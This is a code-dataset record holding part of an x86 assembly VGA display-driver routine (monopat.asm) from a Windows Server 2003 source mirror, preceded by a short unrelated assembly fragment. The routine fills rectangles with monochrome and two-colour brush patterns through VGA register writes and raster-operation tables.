call ReceiveItem
ret nc
ld a, $1
ld [wScriptVar], a
ret
| 16.9 | 39 | 0.783037 |
a2a42d257bd61b6adae01413799293e0f9eebed4 | 75,680 | asm | Assembly | drivers/video/ms/vga/disp/8bpp/i386/monopat.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | drivers/video/ms/vga/disp/8bpp/i386/monopat.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | drivers/video/ms/vga/disp/8bpp/i386/monopat.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;---------------------------Module-Header------------------------------;
; Module Name: monopat.asm
;
; Copyright (c) 1992-1993 Microsoft Corporation. All rights reserved.
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
; VOID vMonoPat(ppdev, culRcl, prcl, ulMix, prb, pptlBrush)
;
; Input:
;
; ppdev - surface on which to draw
; culRcl - number of rectangles
; prcl - pointer to rectangles
; ulMix - mix mode (i.e., ROP)
; prb - pointer to realized brush
; pptlBrush - brush alignment
;
; Draws two color patterns using the VGA hardware. If the ROP is a
; PATCOPY ROP, we can light 8 pixels on every word write to VGA memory.
;
; We special case black & white patterns because we can do slightly less
; initialization, and we can handle arbitrary ROPs (although if the ROP
; has to read video memory, we can only do 4 pixels on every read/write
; operation).
;
;-----------------------------------------------------------------------;
;
; NOTE: Assumes all rectangles have positive heights and widths. Will
; not work properly if this is not the case.
;
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
.386
.model small,c
assume cs:FLAT,ds:FLAT,es:FLAT,ss:FLAT
assume fs:nothing,gs:nothing
.xlist
include stdcall.inc ;calling convention cmacros
include i386\strucs.inc
include i386\driver.inc
include i386\egavga.inc
include i386\ropdefs.inc
.list
;-----------------------------------------------------------------------;
.code
; vTrgBlt is used for 2-pass ROPs:
EXTRNP vTrgBlt,24
.data
; Tables shared with vgablts.asm:
extrn jALUFuncTable: byte
extrn jInvertDest: byte
;-----------------------------------------------------------------------;
; Bits for drawing routine look-ups.
BLOCK_LEFT_EDGE equ 010000b
BLOCK_RIGHT_EDGE equ 001000b
BLOCK_MIDDLE_STARTS_UNALIGNED equ 000100b
BLOCK_NO_MIDDLE equ 000010b
BLOCK_MIDDLE_ENDS_UNALIGNED equ 000001b
;-----------------------------------------------------------------------;
; Table of drawing routines, with the look-up index a 5 bit field as
; follows:
;
; Bit 4 = 1 if a left edge must be drawn
; Bit 3 = 1 if a right edge must be drawn
; Bit 2 = 1 if middle block starts unaligned word-wise
; Bit 1 = 1 if no middle block
; Bit 0 = 1 if middle block is an odd number of bytes in length
align 4
gapfnSetTable label dword
dd dual_wide_00_w ;00000
dd dual_wide_01_w ;00001
dd 0 ;00010
dd 0 ;00011
dd dual_wide_11_w ;00100
dd dual_wide_10_w ;00101
dd 0 ;00110
dd 0 ;00111
dd Block_01000_w ;01000
dd Block_01001_w ;01001
dd dual_right_0_w ;01010
dd dual_right_1_w ;01011
dd Block_01100_w ;01100
dd Block_01101_w ;01101
dd dual_right_1_w ;01110
dd dual_right_0_w ;01111
dd Block_10000_w ;10000
dd Block_10001_w ;10001
dd dual_left_0_w ;10010
dd dual_left_0_w ;10011
dd Block_10100_w ;10100
dd Block_10101_w ;10101
dd dual_left_1_w ;10110
dd dual_left_1_w ;10111
dd Block_11000_w ;11000
dd Block_11001_w ;11001
dd Block_11010_w ;11010
dd 0 ;11011 - can never happen
dd Block_11100_w ;11100
dd Block_11101_w ;11101
dd Block_11110_w ;11110
dd 0 ;11111 - can never happen
gapfnROPTable label dword
dd dual_wide_00_rw ;00000
dd dual_wide_01_rw ;00001
dd 0 ;00010
dd 0 ;00011
dd dual_wide_11_rw ;00100
dd dual_wide_10_rw ;00101
dd 0 ;00110
dd 0 ;00111
dd Block_01000_rw ;01000
dd Block_01001_rw ;01001
dd dual_right_0_rw ;01010
dd dual_right_1_rw ;01011
dd Block_01100_rw ;01100
dd Block_01101_rw ;01101
dd dual_right_1_rw ;01110
dd dual_right_0_rw ;01111
dd Block_10000_rw ;10000
dd Block_10001_rw ;10001
dd dual_left_0_rw ;10010
dd dual_left_0_rw ;10011
dd Block_10100_rw ;10100
dd Block_10101_rw ;10101
dd dual_left_1_rw ;10110
dd dual_left_1_rw ;10111
dd Block_11000_rw ;11000
dd Block_11001_rw ;11001
dd Block_11010_rw ;11010
dd 0 ;11011 - can never happen
dd Block_11100_rw ;11100
dd Block_11101_rw ;11101
dd Block_11110_rw ;11110
dd 0 ;11111 - can never happen
gaulForceOffTable label dword
dd 0 ;ignored - there is no mix 0
dd 0
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
gaulForceOnTable label dword
dd 0 ;ignored - there is no mix 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0ffffffffh
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0
dd 0ffffffffh
gaulForceNotTable label dword
dd 0 ;ignored - there is no mix 0
dd 0
dd 0ffffffffh
dd 0ffffffffh
dd 0ffffffffh
dd 0
dd 0
dd 0
dd 0ffffffffh
dd 0
dd 0ffffffffh
dd 0
dd 0ffffffffh
dd 0
dd 0
dd 0
dd 0
;-----------------------------------------------------------------------;
.code
;-----------------------------------------------------------------------;
; Write thunks (for set ROPs)
;-----------------------------------------------------------------------;
Block_01000_w:
push offset dual_right_0_w
jmp dual_wide_00_w
Block_01001_w:
push offset dual_right_1_w
jmp dual_wide_01_w
Block_01100_w:
push offset dual_right_1_w
jmp dual_wide_11_w
Block_01101_w:
push offset dual_right_0_w
jmp dual_wide_10_w
Block_11000_w:
push offset dual_right_0_w
Block_10000_w:
push offset dual_left_0_w
jmp dual_wide_00_w
Block_11001_w:
push offset dual_right_1_w
Block_10001_w:
push offset dual_left_0_w
jmp dual_wide_01_w
Block_11100_w:
push offset dual_right_1_w
Block_10100_w:
push offset dual_left_1_w
jmp dual_wide_11_w
Block_11101_w:
push offset dual_right_0_w
Block_10101_w:
push offset dual_left_1_w
jmp dual_wide_10_w
Block_11010_w:
push offset dual_right_0_w
jmp dual_left_0_w
Block_11110_w:
push offset dual_right_1_w
jmp dual_left_1_w
;-----------------------------------------------------------------------;
; Read/write thunks (for arbitrary ROPs)
;-----------------------------------------------------------------------;
Block_01000_rw:
push offset dual_right_0_rw
jmp dual_wide_00_rw
Block_01001_rw:
push offset dual_right_1_rw
jmp dual_wide_01_rw
Block_01100_rw:
push offset dual_right_1_rw
jmp dual_wide_11_rw
Block_01101_rw:
push offset dual_right_0_rw
jmp dual_wide_10_rw
Block_11000_rw:
push offset dual_right_0_rw
Block_10000_rw:
push offset dual_left_0_rw
jmp dual_wide_00_rw
Block_11001_rw:
push offset dual_right_1_rw
Block_10001_rw:
push offset dual_left_0_rw
jmp dual_wide_01_rw
Block_11100_rw:
push offset dual_right_1_rw
Block_10100_rw:
push offset dual_left_1_rw
jmp dual_wide_11_rw
Block_11101_rw:
push offset dual_right_0_rw
Block_10101_rw:
push offset dual_left_1_rw
jmp dual_wide_10_rw
Block_11010_rw:
push offset dual_right_0_rw
jmp dual_left_0_rw
Block_11110_rw:
push offset dual_right_1_rw
jmp dual_left_1_rw
;-----------------------------------------------------------------------;
cProc vMonoPat,24,< \
uses esi edi ebx, \
ppdev: ptr PDEV, \
culRcl: dword, \
prcl: ptr RECTL, \
ulMix: dword, \
prb: ptr RBRUSH,\
pptlBrush: ptr POINTL >
; Variables used in block drawers:
local ppfnDraw: ptr ;pointer to array of draw routines
local pfnDraw: ptr ;pointer to draw routines
local yBrush: dword ;current y brush alignment
local yBrushOrg: dword ;original y brush alignment
local ulMiddleDest: dword ;bitmap offset to middle
local lMiddleDelta: dword ;delta from end of middle scan to next
local ulBlockHeight: dword ;# of scans to be drawn in block
local ulBlockHeightTmp: dword ;scratch copy of ulBlockHeight
local cwMiddle: dword ;# of words to be written in middle
local ulLeftDest: dword ;bitmap offset to left edge
local ulLeftMask: dword ;plane mask for left-edge drawing
local ulRightDest: dword ;bitmap offset to right edge
local ulRightMask: dword ;plane mask for right-edge drawing
local lDelta: dword ;delta between scans
local ulCurrentDestScan: dword ;current destination scan
local ulLastDestScan: dword ;last destination scan
local pulPattern: ptr ;pointer to working pattern buffer
; (to account for brush inversions)
local aulPatternBuffer[8]: dword ;pattern buffer
local pfnLoopTop: ptr ;points to desired loop top
mov esi,pptlBrush
mov edi,prb
mov ecx,[esi].ptl_y
mov yBrushOrg,ecx ;yBrushOrg = pptlBrush->y
mov ecx,[esi].ptl_x
mov eax,[edi].rb_xBrush
and ecx,7
cmp eax,ecx
jne dual_align_brush ;only align if we really have to
dual_done_align_brush:
test [edi].rb_fl,RBRUSH_2COLOR
jnz col2_colors
; Set VGA to read mode 1 and write mode 2:
mov esi,ppdev
mov edx,VGA_BASE + GRAF_ADDR
mov ah,byte ptr [esi].pdev_ulrm0_wmX[2]
or ah,M_COLOR_READ
mov al,GRAF_MODE
out dx,ax ;write mode 2 to expand pattern bits to
; 0 or 0ffh per plane, read mode 1 so
; we can read 0xFF from memory always,
; for ANDing (because Color Don't Care
; is all zeros)
;-----------------------------------------------------------------------;
; Handle only black/white patterns.
;-----------------------------------------------------------------------;
lea eax,[edi].rb_aulPattern
mov pulPattern,eax ;pulPattern = &pbr.rb_aulPattern[0]
lea eax,gapfnSetTable
mov ppfnDraw,eax ;ppfnDraw = gapfnSetTable
mov ecx,ulMix
and ecx,0fh
cmp ecx,R2_COPYPEN
jne bw_init_rop ;do some more work if not copy ROP
bw_done_init_rop:
call dual_draw_rectangles ;draw those puppies
; All done! Restore read mode 0, write mode 0:
mov esi,ppdev
mov edx,VGA_BASE + GRAF_ADDR
mov ah,byte ptr [esi].pdev_ulrm0_wmX[0]
mov al,GRAF_MODE
out dx,ax
; Enable all planes:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
cmp ulMix,R2_COPYPEN
jne short bw_enable_set_mode
cRet vMonoPat
; Set ALU function to Set mode (we don't have to bother if we had a
; COPYPEN ROP):
bw_enable_set_mode:
mov eax,GRAF_DATA_ROT + (DR_SET shl 8)
mov edx,VGA_BASE + GRAF_ADDR
out dx,ax
cRet vMonoPat
;-----------------------------------------------------------------------;
; Draw both black and white and 2 color rectangles.
;-----------------------------------------------------------------------;
public dual_draw_rectangles
dual_draw_rectangles::
mov edi,prcl ;edi = prcl
mov edx,ppdev
mov eax,[edi].yBottom
mov ebx,[edi].yTop
mov edx,[edx].pdev_lPlanarNextScan
mov lDelta,edx ;lDelta = ppdev->lPlanarNextScan
mov ulLastDestScan,eax ;ulLastDestScan = prcl->bottom
mov ulCurrentDestScan,ebx ;ulCurrentDestScan = prcl->top
mov ecx,edx
imul ecx,ebx
sub ebx,yBrushOrg
and ebx,7
mov yBrush,ebx ;yBrush = (prcl->top - pptlBrush->y) & 7
; (our current index into the pattern
; array)
mov ebx,[edi].xLeft
shr ebx,2
add ebx,ecx ;ebx = prcl->top * lDelta +
; (prcl->left >> 2)
; (offset into bitmap of left side)
mov eax,[edi].xRight
shr eax,2
add eax,ecx
mov ulRightDest,eax ;ulRightDest = prcl->top * lDelta +
; (prcl->right >> 2)
; (offset into bitmap of right side)
xor esi,esi ;zero our flags
mov ecx,[edi].xLeft
and ecx,3
jz short dual_done_left ;skip if we don't need a left edge
mov esi,0fh ;compute the plane mask for the left
shl esi,cl ; edge. we don't use a look-up table
mov ulLeftMask,esi ; 'cause it won't be in the cache.
mov esi,(BLOCK_LEFT_EDGE shr 2)
;set our flag (we soon shift left by 2)
mov ulLeftDest,ebx ;ulLeftDest = prcl->top * lDelta +
; (prcl->left >> 2)
inc ebx ;ebx = ulMiddleDest = ulLeftDest + 1
; (we have to adjust our offset to
; the first whole byte)
dual_done_left:
sub eax,ebx ;eax = cjMiddle =
; ulRightDest - ulMiddleDest
mov ulMiddleDest,ebx ;ulMiddleDest
.errnz (BLOCK_MIDDLE_STARTS_UNALIGNED shr 2) - 1
and ebx,1 ;set bit if middle doesn't start
or esi,ebx ; word aligned (remembering we'll
; soon shift flags left by 2)
mov ecx,[edi].xRight
and ecx,3
jz short dual_done_right ;skip if we don't need a right edge
mov ebx,0f0h ;compute the plane mask for the right
rol bl,cl ; edge. we don't use a look-up table
mov ulRightMask,ebx ; 'cause it won't be in the cache.
or esi,(BLOCK_RIGHT_EDGE shr 2)
;set our flag (we soon shift left by 2)
; If the count of whole bytes is negative, that means that the pattern
; starts and ends in the same quadpixel, so we do some more work:
cmp eax,0
jge short dual_done_right
; It starts and ends in the same quadpixel:
and esi,not (BLOCK_RIGHT_EDGE shr 2)
;turn off right edge
and ebx,ulLeftMask
mov ulLeftMask,ebx
xor eax,eax ;we do zero middle bytes
public dual_done_right
dual_done_right::
mov ebx,ppfnDraw
; We're going to do two 'adc esi,esi' instructions here, effectively
; shifting our flags left by 2, and setting the low bits:
.errnz (BLOCK_NO_MIDDLE shr 1) - 1
cmp eax,1 ;shift flags left one, and set low
adc esi,esi ; bit if we don't need to do a middle
.errnz (BLOCK_MIDDLE_ENDS_UNALIGNED) - 1
shr eax,1
adc esi,esi ;shift flags left one, and set low
; bit if the middle isn't an even
; number of bytes in length
mov cwMiddle,eax ;cwMiddle = cjMiddle / 2
sub edx,eax
sub edx,eax
mov lMiddleDelta,edx ;lMiddleDelta = lDelta - 2 * cwMiddle
mov eax,[ebx+esi*4]
mov pfnDraw,eax ;pointer to function that draws
; everything in the bank
mov ebx,ppdev
mov edi,[edi].yTop
cmp edi,[ebx].pdev_rcl1PlanarClip.yTop
jl short dual_map_init_bank
cmp edi,[ebx].pdev_rcl1PlanarClip.yBottom
jl short dual_init_bank_mapped
dual_map_init_bank:
ptrCall <dword ptr [ebx].pdev_pfnPlanarControl>, \
<ebx,edi,JustifyTop>
dual_init_bank_mapped:
mov eax,ulLastDestScan
mov ebx,[ebx].pdev_rcl1PlanarClip.yBottom
sub eax,ebx
sbb ecx,ecx
and ecx,eax
add ebx,ecx ;ebx = min(ulLastDestScan,
; ppdev->rcl1PlanarClip.yBottom)
mov ulCurrentDestScan,ebx
sub ebx,edi
mov ulBlockHeight,ebx ;ulBlockHeight = ebx - ulCurrentDestScan
; Draw everything in this bank:
call pfnDraw
dual_done_pfnDraw:
mov edi,ulCurrentDestScan
cmp edi,ulLastDestScan
jge short dual_next_rectangle
; Get the next bank:
mov ebx,ppdev
mov yBrush,esi ;make sure we record the new brush
; alignment
; Map the next bank into window.
; Note: EBX, ESI, and EDI are preserved, according to C calling conventions.
ptrCall <dword ptr [ebx].pdev_pfnPlanarControl>, \
<ebx,edi,JustifyTop>
jmp short dual_init_bank_mapped
;-----------------------------------------------------------------------;
; Done rectangle.
;-----------------------------------------------------------------------;
public dual_next_rectangle
dual_next_rectangle::
add prcl, size RECTL
dec culRcl
jg dual_draw_rectangles ;do more rectangles
PLAIN_RET ;return
;-----------------------------------------------------------------------;
; Handle x-brush alignment.
;-----------------------------------------------------------------------;
public dual_align_brush
dual_align_brush::
; Align the pattern on x. Remember it in the realized brush, because if
; the brush is used again, it's likely to have the same alignment...
mov [edi].rb_xBrush,ecx ;remember our new alignment
sub ecx,eax ;rotate pattern left by
; pptlBrush->x - prb->xBrush
; We keep each row of the pattern in the low word of each dword. If the
; bits are to appear on the screen as 01234567, the word of our pattern
; has the bits 32107654|76543210 -- we're in write mode 3, and when
; written as a word, this results in 3210 being written in the first
; byte, and 7654 in the second byte.
;
; For our funky plaanr format, we just rotate each byte of the word left by
; 'cl' to get the desired result.
rol byte ptr [edi][0].rb_aulPattern,cl ;0
rol byte ptr [edi][1].rb_aulPattern,cl
rol byte ptr [edi][4].rb_aulPattern,cl ;1
rol byte ptr [edi][5].rb_aulPattern,cl
rol byte ptr [edi][8].rb_aulPattern,cl ;2
rol byte ptr [edi][9].rb_aulPattern,cl
rol byte ptr [edi][12].rb_aulPattern,cl ;3
rol byte ptr [edi][13].rb_aulPattern,cl
rol byte ptr [edi][16].rb_aulPattern,cl ;4
rol byte ptr [edi][17].rb_aulPattern,cl
rol byte ptr [edi][20].rb_aulPattern,cl ;5
rol byte ptr [edi][21].rb_aulPattern,cl
rol byte ptr [edi][24].rb_aulPattern,cl ;6
rol byte ptr [edi][25].rb_aulPattern,cl
rol byte ptr [edi][28].rb_aulPattern,cl ;7
rol byte ptr [edi][29].rb_aulPattern,cl
jmp dual_done_align_brush
;-----------------------------------------------------------------------;
; Handle arbitrary ROPs for black/white patterns.
;-----------------------------------------------------------------------;
; Expect:
;
; ecx = ulMix
public bw_init_rop
bw_init_rop::
cmp jInvertDest[ecx],0
je short bw_set_that_ALU ;skip if don't need 2 passes
; For some ROPs, we have to invert the destination first, then do another
; operation (that is, it's a 2-pass ROP). We handle the inversion here:
cCall vTrgBlt,<ppdev, culRcl, prcl, R2_NOT, 0, 0>
mov ecx,ulMix
and ecx,0fh
bw_set_that_ALU:
mov ah,jALUFuncTable[ecx]
cmp ah,DR_SET
je short bw_that_ALU_is_set
;we're already in Set mode
mov edx,VGA_BASE + GRAF_ADDR
mov al,GRAF_DATA_ROT
out dx,ax ;set the ALU logical function
lea ebx,gapfnROPTable
mov ppfnDraw,ebx
bw_that_ALU_is_set:
lea esi,aulPatternBuffer
mov pulPattern,esi ;we're using the temporary buffer
mov ebx,gaulForceOffTable[ecx*4]
mov edx,gaulForceOnTable[ecx*4]
mov esi,gaulForceNotTable[ecx*4]
mov eax,[edi][0].rb_aulPattern ;0
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][0],eax
mov eax,[edi][4].rb_aulPattern ;1
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][4],eax
mov eax,[edi][8].rb_aulPattern ;2
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][8],eax
mov eax,[edi][12].rb_aulPattern ;3
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][12],eax
mov eax,[edi][16].rb_aulPattern ;4
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][16],eax
mov eax,[edi][20].rb_aulPattern ;5
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][20],eax
mov eax,[edi][24].rb_aulPattern ;6
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][24],eax
mov eax,[edi][28].rb_aulPattern ;7
and eax,ebx
or eax,edx
xor eax,esi
mov [aulPatternBuffer][28],eax
jmp bw_done_init_rop
;-----------------------------------------------------------------------;
; Handle 2-color patterns.
;-----------------------------------------------------------------------;
public col2_colors
col2_colors::
lea eax,[edi].rb_aulPattern
mov pulPattern,eax ;pulPattern = &pbr.rb_aulPattern[0]
lea eax,gapfnSetTable
mov ppfnDraw,eax ;ppfnDraw = gapfnSetTable
call col2_first_rectangle
; Restore VGA hardware to its default state:
mov edx,VGA_BASE + GRAF_DATA
mov al,0ffh
out dx,al ;enable all bits through the Bit Mask
mov esi,ppdev
dec edx ;point back to the Graphics Index reg
mov ah,byte ptr [esi].pdev_ulrm0_wmX[0]
;write mode 0 setting for Graphics Mode
mov al,GRAF_MODE
out dx,ax ;write mode 0, read mode 0
mov eax,GRAF_DATA_ROT + (DR_SET SHL 8)
out dx,ax ;replace mode, no rotate
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al ;enable all planes
cRet vMonoPat
;-----------------------------------------------------------------------;
; Handle first rectangle for 2-color patterns.
;-----------------------------------------------------------------------;
; We have to special case the first rectangle because we have to load
; the latches with the background color after mapping the bank but before
; doing any drawing.
public col2_first_rectangle
col2_first_rectangle::
mov edi,prcl ;edi = prcl
mov edx,ppdev
mov eax,[edi].yBottom
mov ebx,[edi].yTop
mov edx,[edx].pdev_lPlanarNextScan
mov lDelta,edx ;lDelta = ppdev->lPlanarNextScan
mov ulLastDestScan,eax ;ulLastDestScan = prcl->bottom
mov ulCurrentDestScan,ebx ;ulCurrentDestScan = prcl->top
mov ecx,edx
imul ecx,ebx
sub ebx,yBrushOrg
and ebx,7
mov yBrush,ebx ;yBrush = (prcl->top - pptlBrush->y) & 7
; (our current index into the pattern
; array)
mov ebx,[edi].xLeft
shr ebx,2
add ebx,ecx ;ebx = prcl->top * lDelta +
; (prcl->left >> 2)
; (offset into bitmap of left side)
mov eax,[edi].xRight
shr eax,2
add eax,ecx
mov ulRightDest,eax ;ulRightDest = prcl->top * lDelta +
; (prcl->right >> 2)
; (offset into bitmap of right side)
xor esi,esi ;zero our flags
mov ecx,[edi].xLeft
and ecx,3
jz short col2_done_left ;skip if we don't need a left edge
mov esi,0fh ;compute the plane mask for the left
shl esi,cl ; edge. we don't use a look-up table
mov ulLeftMask,esi ; 'cause it won't be in the cache.
mov esi,(BLOCK_LEFT_EDGE shr 2)
;set our flag (we soon shift left by 2)
mov ulLeftDest,ebx ;ulLeftDest = prcl->top * lDelta +
; (prcl->left >> 2)
inc ebx ;ebx = ulMiddleDest = ulLeftDest + 1
; (we have to adjust our offset to
; the first whole byte)
col2_done_left:
sub eax,ebx ;eax = cjMiddle =
; ulRightDest - ulMiddleDest
mov ulMiddleDest,ebx ;ulMiddleDest
.errnz (BLOCK_MIDDLE_STARTS_UNALIGNED shr 2) - 1
and ebx,1 ;set bit if middle doesn't start
or esi,ebx ; word aligned (remembering we'll
; soon shift flags left by 2)
mov ecx,[edi].xRight
and ecx,3
jz short col2_done_right ;skip if we don't need a right edge
mov ebx,0f0h ;compute the plane mask for the right
rol bl,cl ; edge. we don't use a look-up table
mov ulRightMask,ebx ; 'cause it won't be in the cache.
or esi,(BLOCK_RIGHT_EDGE shr 2)
;set our flag (we soon shift left by 2)
; If the count of whole bytes is negative, that means that the pattern
; starts and ends in the same quadpixel, so we do some more work:
cmp eax,0
jge short col2_done_right
; It starts and ends in the same quadpixel:
and esi,not (BLOCK_RIGHT_EDGE shr 2)
;turn off right edge
and ebx,ulLeftMask
mov ulLeftMask,ebx
xor eax,eax ;we do zero middle bytes
public col2_done_right
col2_done_right::
mov ebx,ppfnDraw
; We're going to do two 'adc esi,esi' instructions here, effectively
; shifting our flags left by 2, and setting the low bits:
.errnz (BLOCK_NO_MIDDLE shr 1) - 1
cmp eax,1 ;shift flags left one, and set low
adc esi,esi ; bit if we don't need to do a middle
.errnz (BLOCK_MIDDLE_ENDS_UNALIGNED) - 1
shr eax,1
mov cwMiddle,eax ;cwMiddle = cjMiddle / 2
adc esi,esi ;shift flags left one, and set low
; bit if the middle isn't an even
; number of bytes in length
sub edx,eax
sub edx,eax
mov lMiddleDelta,edx ;lMiddleDelta = lDelta - 2 * cwMiddle
mov eax,[ebx+esi*4]
mov pfnDraw,eax ;pointer to function that draws
; everything in the bank
mov ebx,ppdev
test esi,BLOCK_NO_MIDDLE
jz short col2_have_a_middle
;-----------------------------------------;
; Handle case where there isn't a whole quadpixel that will be overwritten
; by the pattern, and so we don't have a convenient place for loading the
; latches. For this case, we'll use off-screen memory.
mov esi,[ebx].pdev_pbceCache
mov eax,[esi].bce_yCache
cmp eax,[ebx].pdev_rcl1PlanarClip.yTop
jl short col2_no_middle_map_brush_bank
cmp eax,[ebx].pdev_rcl1PlanarClip.yBottom
jl short col2_no_middle_brush_bank_mapped
col2_no_middle_map_brush_bank:
ptrCall <dword ptr [ebx].pdev_pfnPlanarControl>, \
<ebx,eax,JustifyBottom>
col2_no_middle_brush_bank_mapped:
mov ecx,prb ;ecx = prb
mov esi,[esi].bce_ulCache
add esi,[ebx].pdev_pvBitmapStart
mov eax,[ecx].rb_ulBkColor
mov [esi],al
mov al,[esi] ;latches now laoded with bk color
mov edi,[edi].yTop
cmp edi,[ebx].pdev_rcl1PlanarClip.yTop
jl short col2_no_middle_map_init_bank
cmp edi,[ebx].pdev_rcl1PlanarClip.yBottom
jl col2_latches_loaded
col2_no_middle_map_init_bank:
ptrCall <dword ptr [ebx].pdev_pfnPlanarControl>, \
<ebx,edi,JustifyTop>
mov ecx,prb ;reload ecx = prb
jmp col2_latches_loaded
;-----------------------------------------;
col2_have_a_middle:
mov edi,[edi].yTop
cmp edi,[ebx].pdev_rcl1PlanarClip.yTop
jl short col2_map_init_bank
cmp edi,[ebx].pdev_rcl1PlanarClip.yBottom
jl short col2_init_bank_mapped
col2_map_init_bank:
ptrCall <dword ptr [ebx].pdev_pfnPlanarControl>, \
<ebx,edi,JustifyTop>
col2_init_bank_mapped:
mov ecx,prb ;ecx = prb
mov esi,ulMiddleDest
add esi,[ebx].pdev_pvBitmapStart
;pointer to the first whole quadpixel
; that will be overwritten by the
; pattern, and so which is a great
; place to use to load the latches
mov eax,[ecx].rb_ulBkColor
mov [esi],al
mov al,[esi] ;latches now loaded with bk color
; Set VGA to read mode 0 and write mode 2:
col2_latches_loaded:
; ebx = ppdev
; ecx = prb
; edi = top line of rectangle
mov esi,ppdev
mov edx,VGA_BASE + GRAF_ADDR
mov ah,byte ptr [esi].pdev_ulrm0_wmX[2]
mov al,GRAF_MODE
out dx,ax
mov eax,GRAF_DATA_ROT + (DR_XOR SHL 8)
out dx,ax ;XOR to flip latched data to make ~bk
mov ah,byte ptr [ecx].rb_ulBkColor
xor ah,byte ptr [ecx].rb_ulFgColor
mov al,GRAF_BIT_MASK
out dx,ax ;pass through common fg & bk bits
; unchanged from bk color in latches;
; non-common bits come from XOR in the
; ALUs, flipped from the bk to the fg
; state if the glyph bit for the pixel
; in that plane is 1, still in bk state
; if the glyph bit for that plane is 0
; All done hardware initialization. Do rest of this boring stuff:
mov eax,ulLastDestScan
mov ebx,[ebx].pdev_rcl1PlanarClip.yBottom
sub eax,ebx
sbb ecx,ecx
and ecx,eax
add ebx,ecx ;ebx = min(ulLastDestScan,
; ppdev->rcl1PlanarClip.yBottom)
mov ulCurrentDestScan,ebx
sub ebx,edi
mov ulBlockHeight,ebx ;ulBlockHeight = ebx - ulCurrentDestScan
; Draw everything in this bank:
CALL_AND_JUMP pfnDraw,dual_done_pfnDraw
;=======================================================================;
;========================= Set Block Drawers ===========================;
;=======================================================================;
;-----------------------------------------------------------------------;
; dual_wide_11_w
;
; Draws middle words with 1 leading byte and 1 trailing byte.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_11_w
dual_wide_11_w::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ulBlockHeightTmp,ebx
mov ebx,pulPattern
mov edx,lMiddleDelta
add edx,2 ;account for first and last
; bytes
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
inc edi ;align to word
; EBX = pointer to start of pattern
; EDX = offset from end of scan to start of next
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_11_w_loop:
; We aim to overdrive.
mov eax,[ebx+esi * 4] ;load pattern for this scan
mov [edi-1],ah ;write the first byte
mov ecx,cwMiddle
dec ecx ;account for first and last
; bytes
rep stosw ;light 8 pels on every write
inc esi ;advance to next scan of pattern
and esi,7
mov [edi],al ;write that last byte
add edi,edx ;advance to next scan
dec ulBlockHeightTmp
jnz short dual_wide_11_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
dec edi ;undo our word alignment
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_10_w
;
; Draws middle words with 1 leading byte and 0 trailing bytes.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_10_w
dual_wide_10_w::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ulBlockHeightTmp,ebx
mov ebx,pulPattern
mov edx,lMiddleDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
inc edi ;align to word
; EBX = pointer to start of pattern
; EDX = offset from end of scan to start of next
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_10_w_loop:
mov eax,[ebx+esi * 4] ;load pattern for this scan
mov [edi-1],ah ;write the first byte
mov ecx,cwMiddle
rep stosw ;light 8 pels on every write
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ulBlockHeightTmp
jnz short dual_wide_10_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
dec edi ;undo our word alignment
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_01_w
;
